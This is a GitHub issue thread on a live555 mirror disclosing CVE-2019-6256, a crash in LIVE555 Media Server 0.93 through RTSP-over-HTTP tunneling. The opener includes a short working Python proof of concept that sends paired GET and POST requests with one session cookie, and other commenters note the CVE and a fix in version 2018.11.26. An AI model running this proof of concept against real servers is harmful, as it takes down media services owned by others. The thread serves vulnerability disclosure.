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rgaufman / live555

A mirror of the live555 source code.
GNU Lesser General Public License v3.0
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There is a Denial of service attack issue that can cause program to crash in LIVE555 Media Server version 0.93. #19

Closed DshtAnger closed 5 years ago

DshtAnger commented 5 years ago

ISSUE DESCRIPTION

The project website : http://www.live555.com/liveMedia/

I found a new way to make RTSPServer crash in lastest version 0.93 when RTSP-over-HTTP tunneling is supported.

I only need to send two HTTP requests in one TCP connection.

The problem occurrs in RTSPServer.cpp:853 , it calls handleHTTPCmd_TunnelingPOST.

If I send a HTTP GET packet with a specific sessionCookie firstly, then I send a HTTP POST packet with this sessionCookie in the same TCP connection.

RTSPServer will call a error virtual function pointer in readSocket function(GroupsockHepler.cpp) and the pointer value comes from heap which may control.

Attack PoC python code：

from socket import *
target_ip = REMOTE_SERVER_IP
target_port = 554  # or 8554

tcp = socket(AF_INET,SOCK_STREAM)
tcp.connect((target_ip,target_port))

http_request_GET = '''GET / HTTP/1.1\r
x-sessioncookie: AAAAABBBBBB\r
Accept: application/text\r\n\r\n'''

http_request_POST = '''POST / HTTP/1.1\r
x-sessioncookie: AAAAABBBBBB\r
Accept: application/text\r\n\r
This is test data\r\n'''

tcp.send(http_request_GET)
data = tcp.recv(1024)

tcp.send(http_request_POST)
tcp.close()

You can just build a test demo according to https://github.com/rgaufman/live555 and attack the bin live555MediaServer for verification.

Original vulnerability discoverer: 许彬彬 Xubinbin

IMPACT

It will cause dos attack and potential remote command execution in version 0.93(I verified) , even all earlier versions (This is just my unverified guess).

nluedtke commented 5 years ago

This was assigned CVE-2019-6256.

carnil commented 5 years ago

According to the Debian maintainer in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=919529#17 does not seem to be present in current versions.

What was the fix for the issue?

DshtAnger commented 5 years ago

According to the Debian maintainer in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=919529#17 does not seem to be present in current versions.

What was the fix for the issue?

Ross Finlayson [finlayson@live555.com] told me that the problem has been fixed in version 2018.11.26. Users only need to update the version. Reference:http://www.live555.com/liveMedia/public/changelog.txt